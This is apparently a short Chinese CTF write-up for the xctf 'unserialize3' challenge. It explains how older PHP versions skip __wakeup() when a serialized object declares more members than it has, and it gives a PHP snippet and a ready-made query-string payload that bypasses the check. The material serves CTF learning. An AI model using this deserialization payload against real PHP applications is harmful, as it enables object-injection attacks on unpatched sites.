PHP5<5.6.25,PHP7 < 7.0.10

__wakeup函数是在php在使用反序列化函数unserialize()时,会自动调用的函数

如xctf-unserialize3

只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class xctf
{
    public $flag = '111';    public function __wakeup()
    {
        exit('bad requests');
    }
}
    $a=new xctf();
var_dump(serialize($a));

得到

string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"

所以把成员数"1",改为"2"即可绕过

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

绕过__wakeup(),得到flag

点赞(4) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部